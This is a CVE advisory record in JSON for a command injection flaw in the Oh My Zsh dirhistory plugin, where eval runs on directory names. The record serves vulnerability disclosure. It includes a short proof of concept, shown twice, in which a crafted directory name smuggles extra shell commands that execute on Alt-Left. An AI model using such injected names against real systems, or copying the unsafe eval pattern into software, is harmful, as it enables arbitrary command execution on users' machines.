{"id":"CVE-2021-3725","state":"PUBLISHED","title":"OS Command Injection in ohmyzsh/ohmyzsh","description":"Vulnerability in dirhistory plugin Description: the widgets that go back and forward in the directory history, triggered by pressing Alt-Left and Alt-Right, use functions that unsafely execute eval on directory names. If you cd into a directory with a carefully-crafted name, then press Alt-Left, the system is subject to command injection. Impacted areas: - Functions pop_past and pop_future in dirhistory plugin.","publishedAt":"2021-11-30T09:30:14.000Z","updatedAt":"2024-08-03T17:01:08.297Z","severity":{"score":7.5,"label":"High","version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","source":"@huntrdev"},"assigner":"@huntrdev","products":["ohmyzsh ohmyzsh/ohmyzsh"],"affected":[{"vendor":"ohmyzsh","product":"ohmyzsh/ohmyzsh","versions":[{"version":"unspecified","status":"affected","lessThan":"06fc5fb","versionType":"custom"}]}],"references":["https://github.com/ohmyzsh/ohmyzsh/commit/06fc5fb"],"weaknesses":["CWE-78"],"ingestedAt":"2026-10-29T19:48:55.807Z","source":{"repository":"CVEProject/cvelistV5","path":"cves/2021/3xxx/CVE-2021-3725.json","commit":"556c9d3a8cd17e218bb8e452ba7cd619a384ff47"},"raw":{"dataType":"CVE_RECORD","dataVersion":"5.1","cveMetadata":{"cveId":"CVE-2021-3725","state":"PUBLISHED","datePublished":"2021-11-30T09:30:14.000Z","dateUpdated":"2024-08-03T17:01:08.297Z","assignerShortName":"@huntrdev","assignerOrgId":"c09c270a-b464-47c1-9133-acb35b22c19a","dateReserved":"2021-08-19T00:00:00.000Z"},"containers":{"cna":{"title":"OS Command Injection in ohmyzsh/ohmyzsh","descriptions":[{"lang":"en","value":"Vulnerability in dirhistory plugin Description: the widgets that go back and forward in the directory history, triggered by pressing Alt-Left and Alt-Right, use functions that unsafely execute eval on directory names. If you cd into a directory with a carefully-crafted name, then press Alt-Left, the system is subject to command injection. Impacted areas: - Functions pop_past and pop_future in dirhistory plugin."}],"affected":[{"vendor":"ohmyzsh","product":"ohmyzsh/ohmyzsh","versions":[{"version":"unspecified","status":"affected","lessThan":"06fc5fb","versionType":"custom"}]}],"references":[{"url":"https://github.com/ohmyzsh/ohmyzsh/commit/06fc5fb","tags":["x_refsource_MISC"]}],"metrics":[{"cvssV3_1":{"attackComplexity":"HIGH","attackVector":"NETWORK","availabilityImpact":"HIGH","baseScore":7.5,"baseSeverity":"HIGH","confidentialityImpact":"HIGH","integrityImpact":"HIGH","privilegesRequired":"NONE","scope":"UNCHANGED","userInteraction":"REQUIRED","vectorString":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","version":"3.1"}}],"problemTypes":[{"descriptions":[{"cweId":"CWE-78","description":"CWE-78 OS Command Injection","lang":"en","type":"CWE"}]}],"providerMetadata":{"shortName":"@huntrdev","dateUpdated":"2021-11-30T09:30:14.000Z","orgId":"c09c270a-b464-47c1-9133-acb35b22c19a"},"exploits":[{"lang":"en","value":"Exploit PoC:\n\n1. Install Oh My Zsh.\n2. Enable the dirhistory plugin.\n3. Open a terminal and create and cd into a directory like so:\n\n   baddir=\"directory';id;echo 'pwned\"\n   mkdir \"$baddir\" && cd \"$baddir\"\n\n4. Press Alt-Left to go back to previous directory (in macOS, use Option-Left).\n\n5. id and echo pwned are executed:\n\n   $ <Alt-Left>\n   uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),...\n   pwned"}],"x_legacyV4Record":{"CVE_data_meta":{"ASSIGNER":"security@huntr.dev","ID":"CVE-2021-3725","STATE":"PUBLIC","TITLE":"OS Command Injection in ohmyzsh/ohmyzsh"},"affects":{"vendor":{"vendor_data":[{"product":{"product_data":[{"product_name":"ohmyzsh/ohmyzsh","version":{"version_data":[{"version_affected":"<","version_value":"06fc5fb"}]}}]},"vendor_name":"ohmyzsh"}]}},"data_format":"MITRE","data_type":"CVE","data_version":"4.0","description":{"description_data":[{"lang":"eng","value":"Vulnerability in dirhistory plugin Description: the widgets that go back and forward in the directory history, triggered by pressing Alt-Left and Alt-Right, use functions that unsafely execute eval on directory names. If you cd into a directory with a carefully-crafted name, then press Alt-Left, the system is subject to command injection. Impacted areas: - Functions pop_past and pop_future in dirhistory plugin."}]},"exploit":[{"lang":"en","value":"Exploit PoC:\n\n1. Install Oh My Zsh.\n2. Enable the dirhistory plugin.\n3. Open a terminal and create and cd into a directory like so:\n\n   baddir=\"directory';id;echo 'pwned\"\n   mkdir \"$baddir\" && cd \"$baddir\"\n\n4. Press Alt-Left to go back to previous directory (in macOS, use Option-Left).\n\n5. id and echo pwned are executed:\n\n   $ <Alt-Left>\n   uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),...\n   pwned"}],"impact":{"cvss":{"attackComplexity":"HIGH","attackVector":"NETWORK","availabilityImpact":"HIGH","baseScore":7.5,"baseSeverity":"MEDIUM","confidentialityImpact":"HIGH","integrityImpact":"HIGH","privilegesRequired":"NONE","scope":"UNCHANGED","userInteraction":"REQUIRED","vectorString":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","version":"3.1"}},"problemtype":{"problemtype_data":[{"description":[{"lang":"eng","value":"CWE-78 OS Command Injection"}]}]},"references":{"reference_data":[{"name":"https://github.com/ohmyzsh/ohmyzsh/commit/06fc5fb","refsource":"MISC","url":"https://github.com/ohmyzsh/ohmyzsh/commit/06fc5fb"}]}}},"adp":[{"title":"CVE Program Container","references":[{"url":"https://github.com/ohmyzsh/ohmyzsh/commit/06fc5fb","tags":["x_refsource_MISC","x_transferred"]}],"providerMetadata":{"shortName":"CVE","orgId":"af854a3a-2127-422b-91ae-364da2661108","dateUpdated":"2024-08-03T17:01:08.297Z"}}]}}}